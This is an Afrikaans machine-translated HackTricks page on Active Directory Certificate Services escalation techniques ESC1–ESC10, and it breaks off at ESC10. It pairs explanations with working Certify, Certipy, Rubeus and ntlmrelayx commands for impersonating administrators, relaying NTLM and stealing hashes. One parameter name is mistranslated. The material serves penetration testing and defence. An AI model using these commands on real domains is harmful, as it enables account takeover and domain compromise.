46 KiB
AD CS Domein Escalasie
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
{% embed url="https://websec.nl/" %}
Dit is 'n opsomming van die eskalasie-tegniekafdelings van die poste:
- https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
- https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
- https://github.com/ly4k/Certipy
Verkeerd Geconfigureerde Sertifikaatsjablone - ESC1
Verduideliking
Verkeerd Geconfigureerde Sertifikaatsjablone - ESC1 Verduidelik
- Inskrywingsregte word aan lae-gepriviligeerde gebruikers toegeken deur die Enterprise CA.
- Goedkeuring deur bestuurder is nie nodig nie.
- Geen handtekeninge van gemagtigde personeel is nodig nie.
- Sekuriteitsbeskrywings op sertifikaatsjablone is oormatig toegeeflik, wat lae-gepriviligeerde gebruikers toelaat om inskrywingsregte te verkry.
- Sertifikaatsjablone is gekonfigureer om EKU's te definieer wat outentifikasie fasiliteer:
- Uitgebreide Sleutelgebruik (EKU) identifiseerders soos Kliëntoutentifikasie (OID 1.3.6.1.5.5.7.3.2), PKINIT Kliëntoutentifikasie (1.3.6.1.5.2.3.4), Slimkaart Aanmelding (OID 1.3.6.1.4.1.311.20.2.2), Enige Doel (OID 2.5.29.37.0), of geen EKU (SubCA) is ingesluit.
- Die vermoë vir aanvragers om 'n subjectAltName in die Sertifikaatondertekeningsaanvraag (CSR) in te sluit, word deur die sjabloon toegelaat:
- Die Aktiewe Gids (AD) prioritiseer die subjectAltName (SAN) in 'n sertifikaat vir identiteitsverifikasie indien teenwoordig. Dit beteken dat deur die spesifisering van die SAN in 'n CSR, 'n sertifikaat aangevra kan word om enige gebruiker te impersoneer (bv. 'n domein-administrateur). Of 'n SAN deur die aanvrager gespesifiseer kan word, word aangedui in die AD-objek van die sertifikaatsjabloon deur die
mspki-certificate-name-flag
eienskap. Hierdie eienskap is 'n bitmasker, en die teenwoordigheid van dieCT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
vlag maak die spesifisering van die SAN deur die aanvrager moontlik.
{% hint style="danger" %} Die konfigurasie wat beskryf word, maak dit vir lae-gepriviligeerde gebruikers moontlik om sertifikate met enige SAN van keuse aan te vra, wat outentifikasie as enige domeinprinsipaal deur Kerberos of SChannel moontlik maak. {% endhint %}
Hierdie kenmerk word soms geaktiveer om die aan-die-gang-generering van HTTPS- of gasheersertifikate deur produkte of implementeringsdienste te ondersteun, of as gevolg van 'n gebrek aan begrip.
Dit word opgemerk dat die skep van 'n sertifikaat met hierdie opsie 'n waarskuwing ontlok, wat nie die geval is wanneer 'n bestaande sertifikaatsjabloon (soos die WebServer
-sjabloon, wat CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
geaktiveer het) gedupliseer en dan gewysig word om 'n outentiserings-OID in te sluit.
Misbruik
Om kwesbare sertifikaatsjablone te vind kan jy hardloop:
Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
Om misbruik te maak van hierdie kwesbaarheid om as 'n administrateur op te tree kan 'n persoon die volgende hardloop:
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
Dan kan jy die gegenereerde sertifikaat na .pfx
-formaat omskep en dit gebruik om weer te verifieer met Rubeus of certipy:
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
Die Windows-binêre lêers "Certreq.exe" & "Certutil.exe" kan gebruik word om die PFX te genereer: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
Die enumerasie van sertifikaatsjablone binne die AD Bos se konfigurasieskema, spesifiek dié wat nie goedkeuring of handtekeninge vereis nie, wat 'n Kliëntverifikasie of Slimkaart Aantekenings EKU besit, en met die CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
vlag geaktiveer, kan uitgevoer word deur die volgende LDAP-navraag te hardloop:
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
Verkeerd geconfigureerde Sertifikaatsjablone - ESC2
Verduideliking
Die tweede misbruikscenario is 'n variasie van die eerste:
- Inschrywingsregte word aan lae-gepriviligeerde gebruikers verleen deur die Ondernemings-CA.
- Die vereiste vir bestuurdergoedkeuring is gedeaktiveer.
- Die behoefte aan gemagtigde handtekeninge word weggelaat.
- 'n Oormatig toegeeflike sekuriteitsbeskrywing op die sertifikaatsjabloon verleen sertifikaatinskrywingsregte aan lae-gepriviligeerde gebruikers.
- Die sertifikaatsjabloon is omskryf om die Any Purpose EKU of geen EKU in te sluit.
Die Any Purpose EKU maak dit moontlik vir 'n sertifikaat om deur 'n aanvaller vir enige doel verkry te word, insluitend klientverifikasie, bedienerverifikasie, kodesondertekening, ens. Dieselfde tegniek wat vir ESC3 gebruik word kan gebruik word om van hierdie scenario misbruik te maak.
Sertifikate met geen EKUs, wat as ondergeskikte CA-sertifikate optree, kan misbruik word vir enige doel en kan ook gebruik word om nuwe sertifikate te onderteken. Dus kan 'n aanvaller arbitrêre EKUs of velde spesifiseer in die nuwe sertifikate deur 'n ondergeskikte CA-sertifikaat te gebruik.
Nietemin sal nuwe sertifikate wat geskep is vir domeinverifikasie nie funksioneer as die ondergeskikte CA nie vertrou word deur die NTAuthCertificates
-voorwerp nie, wat die verstekinstelling is. Nietemin kan 'n aanvaller steeds nuwe sertifikate met enige EKU en arbitrêre sertifikaatwaardes skep. Hierdie kan potensieel misbruik word vir 'n wye verskeidenheid doeleindes (bv., kodesondertekening, bedienerverifikasie, ens.) en kan beduidende implikasies hê vir ander toepassings in die netwerk soos SAML, AD FS, of IPSec.
Om sjablone wat aan hierdie scenario binne die AD-bos se konfigurasieskema voldoen, op te som, kan die volgende LDAP-navraag uitgevoer word:
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
Verkeerd Geconfigureerde Inschrijvingsagent-sjablone - ESC3
Verduideliking
Hierdie scenario is soos die eerste en tweede een, maar misbruik 'n verskillende EKU (Sertifikaataanvraagagent) en 2 verskillende sjablone (daarom het dit 2 stelle vereistes),
Die Sertifikaataanvraagagent EKU (OID 1.3.6.1.4.1.311.20.2.1), bekend as Inschrywingsagent in Microsoft-dokumentasie, maak dit vir 'n hoofmoontlikheid moontlik om vir 'n sertifikaat in te skryf namens 'n ander gebruiker.
Die "inschrywingsagent" skryf in vir so 'n sjabloon en gebruik die resulterende sertifikaat om 'n CSR mede te onderteken namens die ander gebruiker. Dit stuur dan die mede-ondertekende CSR na die CA, skryf in vir 'n sjabloon wat "inskrywing namens" toelaat, en die CA reageer met 'n sertifikaat wat aan die "ander" gebruiker behoort.
Vereistes 1:
- Inschrywingsregte word deur die Ondernemings-CA aan lae-gepriviligeerde gebruikers toegeken.
- Die vereiste vir bestuursgoedkeuring word weggelaat.
- Geen vereiste vir gemagtigde handtekeninge nie.
- Die sekuriteitsbeskrywing van die sertifikaatsjabloon is buitensporig toegeeflik, wat inskrywingsregte aan lae-gepriviligeerde gebruikers toeken.
- Die sertifikaatsjabloon sluit die Sertifikaataanvraagagent EKU in, wat die aanvraag van ander sertifikaatsjabbone namens ander hoofmoontlikhede moontlik maak.
Vereistes 2:
- Die Ondernemings-CA ken inskrywingsregte toe aan lae-gepriviligeerde gebruikers.
- Bestuursgoedkeuring word omseil.
- Die sjabloon se skemas weergawe is óf 1 óf oorskry 2, en dit spesifiseer 'n Aansoekbeleid Uitreikingsvereiste wat die Sertifikaataanvraagagent EKU vereis.
- 'n EKU wat in die sertifikaatsjabloon gedefinieer is, maak domeinverifikasie moontlik.
- Beperkings vir inskrywingsagente word nie op die CA toegepas nie.
Misbruik
Jy kan Certify of Certipy gebruik om hierdie scenario te misbruik:
# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local' -ca 'corp-CA' -template 'templateName'
# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
Die gebruikers wat toegelaat word om 'n enrollment agent sertifikaat te verkry, die templaat waarin enrollment agents toegelaat word om in te skryf, en die rekeninge namens wie die enrollment agent mag optree kan beperk word deur ondernemings CAs. Dit word bereik deur die certsrc.msc
snap-in oop te maak, regs te klik op die CA, Eienskappe te kies, en dan te navigeer na die "Enrollment Agents" lêer.
Dit word egter opgemerk dat die verstek instelling vir CAs is om "Moenie enrollment agents beperk nie." Wanneer die beperking op enrollment agents deur administrateurs geaktiveer word, deur dit in te stel op "Beperk enrollment agents," bly die verstek konfigurasie uiters inskiklik. Dit laat Almal toe om in te skryf vir alle templaat as enigiemand.
Kwesbare Sertifikaat Templaat Toegangsbeheer - ESC4
Verduideliking
Die sekuriteitsbeskrywing op sertifikaat templaat definieer die toestemmings wat spesifieke AD hoofde het met betrekking tot die templaat.
Indien 'n aanvaller die nodige toestemmings het om 'n templaat te verander en enige uitbuitbare verkeerde konfigurasies soos uiteengesit in vorige afdelings te instel, kan voorreg-escalasie gefasiliteer word.
Bekende toestemmings wat van toepassing is op sertifikaat templaat sluit in:
- Eienaar: Verleen implisiete beheer oor die objek, wat die verandering van enige eienskappe moontlik maak.
- VolleBeheer: Stel volledige gesag oor die objek in, insluitend die vermoë om enige eienskappe te verander.
- SkryfEienaar: Laat die verandering van die objek se eienaar toe na 'n hoof onder die aanvaller se beheer.
- SkryfDacl: Maak die aanpassing van toegangsbeheer moontlik, wat moontlik 'n aanvaller VolleBeheer kan gee.
- SkryfEienskap: Magtig die redigering van enige objek eienskappe.
Misbruik
'n Voorbeeld van 'n privesc soos die vorige een:
ESC4 is wanneer 'n gebruiker skryfregte het oor 'n sertifikaat templaat. Dit kan byvoorbeeld misbruik word om die konfigurasie van die sertifikaat templaat te oorskryf om die templaat kwesbaar te maak vir ESC1.
Soos ons kan sien in die pad hierbo, het slegs JOHNPC
hierdie regte, maar ons gebruiker JOHN
het die nuwe AddKeyCredentialLink
kant na JOHNPC
. Aangesien hierdie tegniek verband hou met sertifikate, het ek hierdie aanval ook geïmplementeer, wat bekend staan as Shadow Credentials. Hier is 'n klein voorskou van Certipy se shadow auto
bevel om die NT-hash van die slagoffer te herwin.
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
Certipy kan die konfigurasie van 'n sertifikaatsjabloon oorskryf met 'n enkele bevel. Standaard sal Certipy die konfigurasie oorskryf om dit vatbaar te maak vir ESC1. Ons kan ook die -save-old
parameter spesifiseer om die ou konfigurasie te stoor, wat nuttig sal wees vir die herstel van die konfigurasie na ons aanval.
# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local
# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
Kwesbare PKI-voorwerptoegangsbeheer - ESC5
Verduideliking
Die uitgebreide web van onderling gekoppelde ACL-gebaseerde verhoudings, wat verskeie voorwerpe buite sertifikaatsjablone en die sertifikaatautoriteit insluit, kan die veiligheid van die hele AD CS-stelsel beïnvloed. Hierdie voorwerpe, wat die veiligheid aansienlik kan beïnvloed, behels:
- Die AD-rekenaarvoorwerp van die CA-bediener, wat deur meganismes soos S4U2Self of S4U2Proxy gekompromitteer kan word.
- Die RPC/DCOM-bediener van die CA-bediener.
- Enige afstammeling AD-voorwerp of houer binne die spesifieke houerpad
CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>
. Hierdie pad sluit houers en voorwerpe in soos die Sertifikaatsjablone-houer, Sertifiseringsowerhede-houer, die NTAuthCertificates-voorwerp, en die Inschrywingsdienshouer.
Die veiligheid van die PKI-stelsel kan gekompromitteer word as 'n lae-bevoorregte aanvaller beheer oor enige van hierdie kritieke komponente verkry.
EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
Verduideliking
Die onderwerp wat bespreek word in die CQure Academy-pos raak ook die implikasies van die EDITF_ATTRIBUTESUBJECTALTNAME2
-vlag aan, soos deur Microsoft uiteengesit. Hierdie konfigurasie, wanneer geaktiveer op 'n Sertifiseringsowerheid (CA), maak die insluiting van gebruiker-gedefinieerde waardes in die alternatiewe naam van die onderwerp vir enige versoek moontlik, insluitend dié wat vanuit Active Directory® saamgestel is. Gevolglik maak hierdie bepaling dit vir 'n indringer moontlik om deur enige sjabloon wat vir domein verifikasie opgestel is, in te skryf—veral dié wat oop is vir onbevoorregte gebruikersinskrywing, soos die standaard Gebruikersjabloon. As gevolg hiervan kan 'n sertifikaat beveilig word, wat die indringer in staat stel om as 'n domein-administrateur of enige ander aktiewe entiteit binne die domein te verifieer.
Nota: Die benadering om alternatiewe name in 'n Sertifikaatondertekeningsversoek (CSR) by te voeg, deur die -attrib "SAN:"
-argument in certreq.exe
te gebruik (verwys na as "Naamwaardepare"), bied 'n teenstelling tot die uitbuitingsstrategie van SANs in ESC1. Hier lê die onderskeid in hoe rekeninginligting ingekapsel word—binne 'n sertifikaateienskap eerder as 'n uitbreiding.
Misbruik
Om te verifieer of die instelling geaktiveer is, kan organisasies die volgende bevel met certutil.exe
gebruik:
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
Hierdie operasie maak in wese gebruik van afstandbeheer van die register, dus 'n alternatiewe benadering kan wees:
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
Hulpmiddels soos Certify en Certipy is in staat om hierdie wanopset te detecteer en te benut:
# Detect vulnerabilities, including this one
Certify.exe find
# Exploit vulnerability
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
Om hierdie instellings te verander, mits 'n persoon domain administratiewe regte het of dieselfde, kan die volgende bevel uitgevoer word vanaf enige werkstasie:
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
Om hierdie konfigurasie in jou omgewing uit te skakel, kan die vlag verwyder word met:
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
{% hint style="warning" %}
Na die Mei 2022-sekuriteitsopdaterings, sal nuut uitgereikte sertifikate 'n sekuriteitsuitbreiding bevat wat die aanvraer se objectSid
eienskap inkorporeer. Vir ESC1 word hierdie SID afgelei van die gespesifiseerde SAN. Vir ESC6 weerspieël die SID egter die aanvraer se objectSid
, nie die SAN nie.
Om ESC6 te benut, is dit noodsaaklik dat die stelsel vatbaar is vir ESC10 (Swak Sertifikaatafbeeldings), wat die SAN bo die nuwe sekuriteitsuitbreiding prioriteer.
{% endhint %}
Kwesbare Sertifikaatowerheidstoegangsbeheer - ESC7
Aanval 1
Verduideliking
Toegangsbeheer vir 'n sertifikaatowerheid word deur 'n stel toestemmings wat CA-aksies regeer, onderhou. Hierdie toestemmings kan besigtig word deur certsrv.msc
te benader, 'n CA met die regterknoppie te kliek, eienskappe te kies, en dan na die Sekuriteit-lap te navigeer. Daarbenewens kan toestemmings geënumereer word deur die PSPKI-module te gebruik met opdragte soos:
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
Dit bied insigte in die primêre regte, naamlik ManageCA
en ManageCertificates
, wat ooreenstem met die rolle van "CA-administrator" en "Sertifikaatbestuurder" onderskeidelik.
Misbruik
Die besit van ManageCA
regte op 'n sertifikaatautoriteit stel die hoof in staat om instellings op afstand te manipuleer deur PSPKI te gebruik. Dit sluit die skakeling van die EDITF_ATTRIBUTESUBJECTALTNAME2
vlag in om SAN-spesifikasie in enige templaat toe te laat, 'n kritieke aspek van domein-escalasie.
Vereenvoudiging van hierdie proses is moontlik deur die gebruik van PSPKI se Enable-PolicyModuleFlag cmdlet, wat wysigings sonder direkte GUI-interaksie toelaat.
Die besit van ManageCertificates
regte fasiliteer die goedkeuring van hangende versoek, wat die "CA-sertifikaatbestuurder-goedkeuring" beskerming omseil.
'n Kombinasie van die Certify en PSPKI modules kan gebruik word om 'n sertifikaat aan te vra, goed te keur, en af te laai:
# Request a certificate that will require an approval
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response : The certificate is still pending.
[*] Request ID : 336
[...]
# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest
# Download the certificate
Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
Aanval 2
Verduideliking
{% hint style="warning" %}
In die vorige aanval is die Manage CA
-permissies gebruik om die EDITF_ATTRIBUTESUBJECTALTNAME2-vlag te aktiveer om die ESC6-aanval uit te voer, maar dit sal geen effek hê totdat die CA-diens (CertSvc
) herlaai word nie. Wanneer 'n gebruiker die Manage CA
toegangsreg het, is die gebruiker ook toegelaat om die diens te herlaai. Dit beteken egter nie dat die gebruiker die diens op afstand kan herlaai nie. Verder mag ESC6 nie uit die boks werk in die meeste opgedateerde omgewings as gevolg van die Mei 2022-sekuriteitsopdaterings.
{% endhint %}
Daarom word hierdie aanval voorgestel.
Vereistes:
- Slegs
ManageCA
toestemming Manage Certificates
toestemming (kan verleen word vanafManageCA
)- Sertifikaatsjabloon
SubCA
moet geaktiveer wees (kan geaktiveer word vanafManageCA
)
Die tegniek berus op die feit dat gebruikers met die Manage CA
en Manage Certificates
toegangsreg kan mislukte sertifikaataanvrae uitreik. Die SubCA
sertifikaatsjabloon is kwesbaar vir ESC1, maar slegs administrateurs kan in die sjabloon inskryf. Dus kan 'n gebruiker versoek om in die SubCA
in te skryf - wat geweier sal word - maar daarna deur die bestuurder uitgereik sal word.
Misbruik
Jy kan jouself die Manage Certificates
toegangsreg gee deur jou gebruiker as 'n nuwe amptenaar by te voeg.
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'John' on 'corp-DC-CA'
Die SubCA
templaat kan geaktiveer word op die CA met die -enable-template
parameter. Standaard is die SubCA
templaat geaktiveer.
# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it
# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
Indien ons aan die voorvereistes vir hierdie aanval voldoen het, kan ons begin deur 'n sertifikaat aan te vra gebaseer op die SubCA
templaat.
Hierdie versoek sal geweier word, maar ons sal die privaatsleutel stoor en die versoek-ID neerskryf.
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate
Met ons Bestuur CA
en Bestuur Sertifikate
, kan ons dan die mislukte sertifikaat versoek uitreik met die ca
bevel en die -issue-request <versoek ID>
parameter.
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
En uiteindelik kan ons die uitgereikte sertifikaat herwin met die req
bevel en die -herwin <versoek ID>
parameter.
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'
NTLM Relay na AD CS HTTP-eindpunte - ESC8
Verduideliking
{% hint style="info" %}
In omgewings waar AD CS geïnstalleer is, indien 'n webaanvraag-eindpunt kwesbaar bestaan en ten minste een sertifikaatsjabloon gepubliseer is wat domeinrekenaarinskrywing en klientverifikasie toelaat (soos die verstek Machine
-sjabloon), word dit moontlik vir enige rekenaar met die spooler-diens aktief om deur 'n aanvaller gekompromitteer te word!
{% endhint %}
Verskeie HTTP-gebaseerde inskrywingsmetodes word ondersteun deur AD CS, beskikbaar deur addisionele bedienerrolle wat administrateurs mag installeer. Hierdie koppelvlakke vir HTTP-gebaseerde sertifikaatinskrywing is vatbaar vir NTLM-relay-aanvalle. 'n Aanvaller kan vanaf 'n gekompromitteerde masjien enige AD-rekening naboots wat deur inkomende NTLM geoutentiseer word. Terwyl die slagofferrekening nageboots word, kan hierdie webkoppelvlakke deur 'n aanvaller benader word om 'n klientverifikasiesertifikaat aan te vra deur die User
of Machine
-sertifikaatsjablone.
- Die webaanvraagkoppelvlak (‘n ouer ASP-toepassing beskikbaar by
http://<kaserver>/certsrv/
), verstek na slegs HTTP, wat nie beskerming teen NTLM-relay-aanvalle bied nie. Daarbenewens staan dit uitdruklik slegs NTLM-outentisering toe deur sy Autorisasie-HTTP-kop, wat meer veilige outentiseringsmetodes soos Kerberos ontoepasbaar maak. - Die Sertifikaatinskrywingsdiens (CES), Sertifikaatinskrywingsbeleid (CEP) Webdiens, en Netwerktoestelinskrywingsdiens (NDES) ondersteun standaard onderhandelingsoutentisering via hul Autorisasie-HTTP-kop. Onderhandelingsoutentisering ondersteun beide Kerberos en NTLM, wat 'n aanvaller in staat stel om tydens relay-aanvalle na NTLM af te gradeer. Alhoewel hierdie webdienste standaard HTTPS ondersteun, beskerm HTTPS alleenlik nie teen NTLM-relay-aanvalle nie. Beskerming teen NTLM-relay-aanvalle vir HTTPS-dienste is slegs moontlik wanneer HTTPS gekombineer word met kanaalbinding. Ongelukkig aktiveer AD CS nie Uitgebreide Beskerming vir Outentisering op IIS nie, wat vereis word vir kanaalbinding.
'n Algemene probleem met NTLM-relay-aanvalle is die kort duur van NTLM-sessies en die onvermoë van die aanvaller om met dienste te interaksieer wat NTLM-ondertekening vereis.
Nietemin word hierdie beperking oorkom deur 'n NTLM-relay-aanval te benut om 'n sertifikaat vir die gebruiker te bekom, aangesien die geldigheidsduur van die sertifikaat die sessie se duur bepaal, en die sertifikaat met dienste wat NTLM-ondertekening voorskryf, gebruik kan word. Vir instruksies oor die gebruik van 'n gesteelde sertifikaat, verwys na:
{% content-ref url="account-persistence.md" %} account-persistence.md {% endcontent-ref %}
'n Ander beperking van NTLM-relay-aanvalle is dat 'n aanvallerbeheerde masjien deur 'n slagofferrekening geoutentiseer moet word. Die aanvaller kan óf wag óf probeer om hierdie outentisering af te dwing:
{% content-ref url="../printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}
Misbruik
Certify se cas
ondersoek geaktiveerde HTTP AD CS-eindpunte:
Certify.exe cas
Die msPKI-Enrollment-Servers
eiendom word deur ondernemingsertifikaatautoriteite (CAs) gebruik om Sertifikaatinskrywingsdiens (CES) eindpunte te stoor. Hierdie eindpunte kan gepars en gelys word deur die werktuig Certutil.exe te gebruik:
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
```powershell
Import-Module PSPKI
Get-CertificationAuthority | select Name,Enroll* | Format-List *
```
Misbruik met Certify
## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080
## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server
# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>
Misbruik met Certipy
Die versoek vir 'n sertifikaat word standaard deur Certipy gemaak op grond van die templaat Machine
of User
, bepaal deur of die rekeningnaam wat oorgedra word eindig in $
. Die spesifikasie van 'n alternatiewe templaat kan bereik word deur die gebruik van die -template
parameter.
'N Tegniek soos PetitPotam kan dan gebruik word om outentisering af te dwing. Wanneer daar met domeinbeheerders gewerk word, is die spesifikasie van -template DomainController
vereis.
certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...
Geen Sekuriteitsuitbreiding - ESC9
Verduideliking
Die nuwe waarde CT_FLAG_NO_SECURITY_EXTENSION
(0x80000
) vir msPKI-Enrollment-Flag
, bekend as ESC9, voorkom die inkapseling van die nuwe szOID_NTDS_CA_SECURITY_EXT
sekuriteitsuitbreiding in 'n sertifikaat. Hierdie vlag word relevant wanneer StrongCertificateBindingEnforcement
ingestel is op 1
(die verstekinstelling), wat teenstrydig is met 'n instelling van 2
. Sy belangrikheid word verhoog in scenario's waar 'n swakker sertifikaatkoppeling vir Kerberos of Schannel benut kan word (soos in ESC10), aangesien die afwesigheid van ESC9 nie die vereistes sou verander nie.
Die omstandighede waarin hierdie vlag se instelling betekenisvol word, sluit in:
StrongCertificateBindingEnforcement
is nie aangepas na2
(met die verstek wees1
), ofCertificateMappingMethods
sluit dieUPN
vlag in.- Die sertifikaat is gemerk met die
CT_FLAG_NO_SECURITY_EXTENSION
vlag binne diemsPKI-Enrollment-Flag
instelling. - Enige kliëntverifikasie EKU word deur die sertifikaat gespesifiseer.
GenericWrite
toestemmings is beskikbaar oor enige rekening om 'n ander te compromitteer.
Misbruikscenario
Stel John@corp.local
het GenericWrite
toestemmings oor Jane@corp.local
, met die doel om Administrator@corp.local
te compromitteer. Die ESC9
sertifikaatsjabloon, waarin Jane@corp.local
toegelaat word om in te skryf, is gekonfigureer met die CT_FLAG_NO_SECURITY_EXTENSION
vlag in sy msPKI-Enrollment-Flag
instelling.
Aanvanklik word Jane
se hasj verkry deur Shadow Credentials, danksy John
se GenericWrite
:
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
Daarna word Jane
se userPrincipalName
gewysig na Administrator
, met die doel om die @corp.local
domein gedeelte doelbewus weg te laat:
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
Hierdie wysiging oortree nie beperkings nie, aangesien Administrator@corp.local
behou word as Administrator
se userPrincipalName
.
Hierna word die ESC9
sertifikaatsjabloon, wat as kwesbaar gemerk is, aangevra as Jane
:
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
Dit word opgemerk dat die sertifikaat se userPrincipalName
Administrator
weerspieël, sonder enige "object SID".
Jane
se userPrincipalName
word dan teruggekeer na haar oorspronklike, Jane@corp.local
:
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
Poging tot verifikasie met die uitgereikte sertifikaat lewer nou die NT-hash van Administrator@corp.local
op. Die bevel moet -domain <domain>
insluit weens die sertifikaat se gebrek aan domeinspesifikasie:
certipy auth -pfx adminitrator.pfx -domain corp.local
Swakke Sertifikaat Afbeeldings - ESC10
Verduideliking
Twee register sleutelwaardes op die domeinbeheerder word deur ESC10 genoem:
- Die verstekwaarde vir
CertificateMappingMethods
